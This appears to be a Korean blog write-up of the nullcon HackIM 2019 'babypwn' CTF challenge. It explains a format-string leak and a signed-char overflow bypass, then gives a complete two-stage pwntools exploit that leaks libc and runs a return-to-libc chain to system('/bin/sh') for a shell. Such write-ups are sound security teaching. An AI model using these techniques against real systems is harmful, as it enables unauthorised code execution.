nullcon hackim 2019 babypwn
0x64 크기의 heap을 만든 후 50 크기만큼 heap에 입력을 받고 이를 출력해 준다.
위 printf 출력에서 FSB
가 발생한다.
하지만 이 FSB
만으로는 leak밖에 할 수 없다. heap에서 일어나는 FSB
기 때문이다.
또, dtor(fini)
부분을 조작하여 double stage FSB
를 할 수 있을거라 생각했지만 FULL RELRO
이기 때문에 이도 불가능했다.
위에 코인 수를 입력하고 그만큼 stack에 입력을 받는다. 하지만 stack의 주소를 알아낼 방법이 없어 이를 이용하여 FSB
로 ret address를 조작할 수 없다.
근데 조건문 부분을 보면 (char)v6이다. 즉, ASCII
범위를 넘어가면 integer overflow
가 일어난다!
이를 이용하여 조건문을 우회하고 RTL
을 할 수 있다.
첫 RTL
에서 libc를 laek하여 libc version을 알아낸 후 해당 libc로 쉘을 부르면 된다.
또, 코인을 입력받을 때 %d
로 입력을 받으므로 4바이트씩 쪼개어 넣어줘야 한다.
마지막으로, stack의 다른 값을 보존시키며 RTL
을 하기 위해서 입력을 원하지 않는 부분에 -
혹은 +
를 넣어 입력을 피할 수 있다. (pwnable.tw dubblesort였나..)
from pwn import *
#context.log_level = 'debug'
e = ELF('./challenge')
s = connect('pwn.ctf.nullcon.net', 4001)
#s = process(e.path, env={'LD_PRELOAD': './libc6_2.23-0ubuntu10_amd64.so'})
l = ELF('./libc6_2.23-0ubuntu10_amd64.so')
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
############# stage1 #############
ru('box?')
sl('y')
ru('name: ')
sl('%9$lx')
#sl('%21$lx%9$lx')
ru('have?\r\n')
sl('128')
pop_rdi = 0x400a43
rtl = [pop_rdi, e.got['setbuf'], e.plt['puts'], 0x400806]
for _ in xrange(26):
sl('-')
sl(str(int(rtl[0])))
sl('0')
sl(str(int(rtl[1])))
sl('0')
sl(str(int(rtl[2])))
sl('0')
sl(str(int(rtl[3])))
sl('0')
for _ in xrange(128-26-8):
sl('-')
ru('Tressure Box: ')
ret = int(s.recv(12),16) - 0x18
print('ret!: {}'.format(hex(ret)))
ru('created!\r\n')
libc_base = u64(s.recv(6).ljust(8, '\x00')) - l.symbols['setbuf']
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
print('system!: {}'.format(hex(system)))
#binsh = libc_base + 0x18c58b
binsh = libc_base + 0x18cd57
print('binsh!: {}'.format(hex(binsh)))
########## stage2 ############
ru('box?')
sl('y')
ru('name: ')
sl('%21$lx')
ru('have?\r\n')
sl('128')
rtl = [pop_rdi, binsh, system]
for _ in xrange(26):
sl('-')
sl(str(int(rtl[0])))
sl('0')
sl(str(int(rtl[1])))
sl(str(int(hex(libc_base)[0:6],16)))
sl(str(int(rtl[2])))
sl(str(int(hex(libc_base)[0:6],16)))
for _ in xrange(128-26-6):
sl('-')
ru('Tressure Box: ')
io()
(끝나고 라업 쓰려고 보니 서버가 닫혔네요..)
'system > writeup' 카테고리의 다른 글
nullcon hackim 2019 easy-shell (0) | 2019.02.03 |
---|---|
nullcon hackim 2019 tudutudututu (0) | 2019.02.03 |
nullcon hackim 2019 hackim shop (2) | 2019.02.03 |
2016 bctf memo (0) | 2019.02.02 |
2014 hitcon sktof (0) | 2019.02.01 |